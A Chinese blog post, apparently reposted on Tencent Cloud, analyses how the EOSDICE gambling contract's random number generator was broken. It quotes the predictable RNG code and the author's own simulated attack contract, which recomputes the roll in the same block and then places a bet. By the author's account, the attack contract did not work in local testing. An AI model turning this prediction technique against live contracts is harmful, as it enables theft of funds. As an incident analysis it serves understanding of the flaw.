首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >EODIDEC 随机数被攻破

EODIDEC 随机数被攻破

作者头像
爬虫
发布于 2018-12-07 10:12:08
发布于 2018-12-07 10:12:08
51100
代码可运行
举报
文章被收录于专栏:Python与爬虫Python与爬虫
运行总次数:0
代码可运行

今天起床看到 EODICE随机数竟然被攻破了?

之前我还看过代码,觉得挺安全的,看来我还是太菜了

随机数代码如下 (来源于github)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 uint8_t random(account_name name, uint64_t game_id) { asset pool_eos = eosio::token(N(eosio.token)).get_balance(_self, symbol_type(S(4, EOS)).name()); auto mixd = tapos_block_prefix() * tapos_block_num() + name + game_id - current_time() + pool_eos.amount; const char *mixedChar = reinterpret_cast<const char *>(&mixd); checksum256 result; sha256((char *)mixedChar, sizeof(mixedChar), &result); uint64_t random_num = *(uint64_t *)(&result.hash[0]) + *(uint64_t *)(&result.hash[8]) + *(uint64_t *)(&result.hash[16]) + *(uint64_t *)(&result.hash[24]); return (uint8_t)(random_num % 100 + 1); }

可以看到生成随机数 有几个特别的东西

  1. game_id 这个是递增的,可以拿到
  2. account_name 这个是玩家的用户名,可以拿到
  3. pool_eos 这个是当前合约的余额,如果短时间没有人玩的话,是可以拿到固定的值的
  4. taposblockprefix & taposblocknum 这两个是区块内部的值,如果我用合约来攻击的话,可以拿到
  5. current_time 当前时间戳(合约用了延时交易)

我当时看到这个合约的时候,其实有想过怎么攻击,但是发现变量比较多,应该比较难,攻击合约需要满足以下条件

  1. 需要短时间内没有人玩,要不然gameid 与 pooleos都会变动,导致你攻击失败
  2. 必须要把攻击合约与 出结果 的时间控制在一个区块内,要不然 taposblockprefix & taposblocknum 这两个数会发生改变
  3. 之前我一直觉得没办法攻击的是 时间,因为合约取的是未来时间的(其实发现了eos 延时合约运行的话,延时多久,时间往后加就行了。。。) 这点要是想明白了,说不定暴富的人就是我了...

我写的一个模拟攻击合约,不知道是不是因为本地测试的原因,taposblockprefix & taposblocknum 一直对不上

其实本来想 直接从合约拿到他的 game_id的,但是一直没有成功...

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
void charity::hi(uint64_t game_id){ asset pool_eos = eosio::token(N(eosio.token)).get_balance(N(eosbocai2222), symbol_type(S(4, EOS)).name()); pool_eos.amount += 9985; uint64_t t = current_time(); t += 1000000; auto mixd = tapos_block_prefix() * tapos_block_num() + _self + game_id - t + pool_eos.amount; const char *mixedChar = reinterpret_cast<const char *>(&mixd); checksum256 result; sha256((char *)mixedChar, sizeof(mixedChar), &result); uint64_t random_num = *(uint64_t *)(&result.hash[0]) + *(uint64_t *)(&result.hash[8]) + *(uint64_t *)(&result.hash[16]) + *(uint64_t *)(&result.hash[24]); print("random", random_num % 100 + 1); // return (uint8_t)(random_num % 100 + 1); asset payout = asset(10000, S(4, EOS)); action( permission_level{_self, N(active)}, N(eosio.token), N(transfer), std::make_tuple(_self, N(eosbocai2222), payout, std::string("dice-rrr-50-"))) .send();}

来一张测试截图

可以看到除了 taposblockprefix & taposblocknum 这两个不一样的话,其他的都一样的,

taposblocknum 应该是每次+1,taposblockprefix 不知道生成规则,但是如果在一个区块内,应该是能拿到相同的.

事件回顾

根据官方给出的账号,我找到了黑客的攻击截图

不知道黑客代码怎么写的,他现在已经把合约换掉了...并且吧钱转到了交易所

根据官方所说,他们有对合约自动检测工具,导致被发现疑似黑客事件,立马把钱转走了.

这一点还是值得表扬的,说明团队实力还是有的。(希望可以开源,这样的话,其他的dice被攻击了也不至于损失那么惨)

自动转账截图

好像公告发布的也比较早,不知道是不是 自动检测功能能把人call醒(哈哈哈)

总结与反思

当被攻击后,有网友在官方群发了这样的一句话...

让我想起一个笑话

A: 为什么你玩DApp? B: 因为开源透明代码可见,更公平 A:最近玩什么呢 B:EOS上的菠菜 A:开源了么? B:没有

我一直觉得 区块链合约肯定要开源,要不然和其他的有啥区别呢?

我个人为啥投了这个游戏呢?是因为这个游戏开源,符合我理想中的区块链游戏,不会发生黑我的情况...

本以为他做大了,能给整个社区起一个带头作用,告诉大家,开源合约也没事情的,区块链游戏就是需要开源!

但是还好,损失不是很大。

最后借用老猫的一张图

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-11-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Python爬虫分享 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
过滤器Filter精华知识点,怎能不看 ​
过滤器Filter 1 什么是过滤器 过滤器JavaWeb三大组件之一,它与Servlet很相似!不它过滤器是用来拦截请求的,而不是处理请求的。 当用户请求某个Servlet时,会先执行部署在这个请求
Java帮帮
2018/03/19
9870
过滤器Filter精华知识点,怎能不看 ​
代码审计 | Java Web 过滤器 - filter
filter 被称为过滤器,是 Servlet 2.3 新增的一个特性,同时也是 Serlvet 技术中最实用的技术。
TeamsSix
2022/09/20
4920
代码审计 | Java Web 过滤器 - filter
Listener监听器和Filter过滤器
1、Listener监听器它是JavaWeb的三大组件1之一。JavaWeb的三大组件分别是:Servlet程序、Filter过滤器、Listener监听器。 2、Listener它是JavaEE的规范,就是接口。 3、监听器的作用是,监听某种事物的变化。然后通过回调函数,反馈给客户(程序)去做一些相应的处理。
技术交流
2022/11/18
3840
Listener监听器和Filter过滤器
Java框架中常见的几个过滤器——JSP、Spring Boot、Servlet过滤器、Struts2拦截器
JSP过滤器是在JSP页面生成之前或之后执行的一种过滤器,它可以对请求进行拦截、处理和转发,还可以对响应进行修改和过滤。使用JSP过滤器可以实现很多功能,例如字符编码转换、登录验证、请求日志记录等。
秋名山码神
2023/10/16
7010
Java框架中常见的几个过滤器——JSP、Spring Boot、Servlet过滤器、Struts2拦截器
Java Web从入门到"改行"(3)--过滤器Filter
过滤器顾名思义就是位于中间层起到过滤作用的,用于拦截请求或响应信息。过滤器 (Filter)技术是在Servlet2.3新增的功能,过滤器并不是Servlet,而是位于请求与响应中间起过滤作用的程序。 Servlet API中提供了一个Filter接口,开发web应用时,如果编写的Java类实现了这个接口,则把这个java类称之为过滤器Filter。通过Filter技术,开发人员可以实现用户在访问某个目标资源之前,对访问的请求和响应进行拦截。简单说,就是可以实现web容器对某资源的访问前截获进行相关的处理,还可以在某资源向web容器返回响应前进行截获进行处理。
流川枫
2018/09/12
8120
Java Web从入门到"改行"(3)--过滤器Filter
Servlet-过滤器入门
Servlet 过滤器是可用于 Servlet 编程的 Java 类,可以实现以下目的: 1. 在客户端的请求访问后端资源之前,拦截这些请求。 2. 在服务器的响应发送回客户端之前,处理这些响应。
用户2146693
2019/08/08
3920
Servlet-过滤器入门
Servlet总结四(过滤器)
文章目录 1. Servlet总结四(过滤器的使用) 1.1. 简介 1.2. 过滤器的实现 1.2.1. 重点 1.2.2. 简单的例子 1.2.3. 过滤器的设置 1.2.3.1. 注意 1.2.4. 初始参数的设置和获取 1.2.4.1. 设置初始值 1.2.4.2. 获取初始参数的值 1.2.5. 设置触发的时机 Servlet总结四(过滤器的使用) 简介 在容器调用Servlet的service()的方法钱,Servlet其实并不会知道有请求的到来,而在service()方法执行后,容器真正
爱撒谎的男孩
2019/12/31
4180
拦截过滤器
J2EE核心模式(第二版)中这样写道:使用拦截过滤器,作为一个可插拔式的过滤器,实现请求、响应的预处理和后处理。另有一个过滤器管理器,负责把各个处于松耦合关系的过滤器结合成一个链,并把控制依次委派给合适的过滤器。这样一来,不必改动现有代码就可能以各种方式加入、删除、合并这些过滤器。
源哥
2018/08/28
4950
Java 中的 Filter 过滤器详解
Filter也称之为过滤器,它是Servlet技术中最实用的技术,WEB开发人员通过Filter技术,对web服务器管理的所有web资源:例如Jsp, Servlet, 静态图片文件或静态 html 文件等进行拦截,从而实现一些特殊的功能。例如实现URL级别的权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。
Java团长
2018/07/23
1.9K0
Spring Security 6.x 过滤器链SecurityFilterChain是如何工作的
上一篇主要介绍了Spring Secuirty中的过滤器链SecurityFilterChain是如何配置的,那么在配置完成之后,SecurityFilterChain是如何在应用程序中调用各个Filter,从而起到安全防护的作用,本文主要围绕SecurityFilterChain的工作原理做详细的介绍。
fullstackyang
2024/06/02
5660
Spring Security 6.x 过滤器链SecurityFilterChain是如何工作的
java过滤器Filter「建议收藏」
Servlet中的过滤器Filter是实现了javax.servlet.Filter接口的服务器端程序,主要的用途是过滤字符编码、做一些业务逻辑判断如是否有权限访问页面等。其工作原理是,只要你在web.xml文件配置好要拦截的客户端请求,它都会帮你拦截到请求,此时你就可以对请求或响应 (Request、Response)统一设置编码,简化操作;同时还可进行逻辑判断,如用户是否已经登陆、有没有权限访问该页面等等工作。它是随你的 web应用启动而启动的,只初始化一次,以后就可以拦截相关请求,只有当你的web应用停止或重新部署的时候才销毁,以下通过代码示例来了解它 的使用。
全栈程序员站长
2022/06/27
5750
Web阶段:第十八章:Filter过滤器
Filter,什么是过滤器? 1.Filter过滤器是javaWeb的三大组件之一, 2.三大组件分别是:Servlet程序,Filter过滤器,Listener监听器。 3.Filter是接口。 4.Filter的作用是:拦截请求,过滤响应。
Java廖志伟
2022/09/28
1920
Web阶段:第十八章:Filter过滤器
[javaweb]Java过滤器与包装设计模式的实用案例.
在filter中可以得到代表用户请求和响应的request、response对象,因此在编程中可以使用Decorator(装饰器)模式对request、response对象进行包装,再把包装对象传给目标资源,从而实现一些特殊需求。 一、Decorator设计模式 1.1、Decorator设计模式介绍   当某个对象的方法不适应业务需求时,通常有2种方式可以对方法进行增强: 编写子类,覆盖需增强的方法。 使用Decorator设计模式对方法进行增强。   在阎宏博士的《JAVA与模式》一书中开头是这样描述装
一枝花算不算浪漫
2018/05/18
1.1K0
JavaWeb-过滤器Filter学习(二)设置全站编码与设置页面缓存
以前我们设置servlet的request和response的编码需要在每个servlet都设置,如果Servlet很多,显得很麻烦,现在我们可以用过滤器很简单的实现这个功能。 还有页面缓存,如果我们的网页是静态的,图片和内容基本上很少变化或者不变化的,我们就可以告诉客户端这个页面你缓存多久~以达到节省流量的目的。
谙忆
2021/01/21
4900
JavaWeb-过滤器Filter学习(二)设置全站编码与设置页面缓存
java过滤器怎么使用(过滤器滤纸怎么配置)
过滤器的作用:用于过滤请求,在请求发出前后,做一些检查或操作,配置及使用步骤如下:
全栈程序员站长
2022/07/28
1.3K0
java过滤器怎么使用(过滤器滤纸怎么配置)
Java Web Servlet过滤器
  过滤器就是可以对浏览器向jsp,servlet,html等这些web资源发出请求和
Hongten
2018/09/13
7170
Servlet过滤器,Servlet过滤器创建和配置
第一:Servlet的过滤器的创建和配置,创建一个过滤器对象需要实现javax.servlet.Filter接口,同时实现Filter的3个方法。        第一方法是过滤器中的init()方法用
别先生
2017/12/29
1K0
Servlet过滤器,Servlet过滤器创建和配置
Servlet 过滤器和异常处理
Servlet 过滤器可以动态地拦截请求和响应,以变换或使用包含在请求或响应中的信息。可以将一个或多个 Servlet 过滤器附加到一个 Servlet 或一组 Servlet。Servlet 过滤器也可以附加到 JavaServer Pages (JSP) 文件和 HTML 页面。调用 Servlet 前调用所有附加的 Servlet 过滤器。
Carlos Ouyang
2019/08/19
1.2K0
Servlet 过滤器和异常处理
javaee的OA项目(六)过滤器的使用,解决中文乱码的过滤器和使用过滤器实现拦截判断
A、目前使用的baseServlet的优点就是方便可以进行乱码的统一的处理,但是如果我们以后不使用servlet,那么我们在进行中文乱码处理的时候就需要在每一个servlet 中去书写,但是比较麻烦。 B、在进行登陆拦截处理的时候,我们需要把拦截的代码在每一个页面中重复的书写,这样,就会变的非常的麻烦。
一写代码就开心
2021/06/17
1K0
javaee的OA项目(六)过滤器的使用,解决中文乱码的过滤器和使用过滤器实现拦截判断
使用过滤器解决中文乱码问题
在Web.xml文件中,配置过滤器,其过滤器的URL映射可以使用正则表达式进行配置,如实例中使用“/*”来匹配所有请求。
卡尔曼和玻尔兹曼谁曼
2019/01/25
1.5K0
推荐阅读
相关推荐
过滤器Filter精华知识点,怎能不看 ​
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档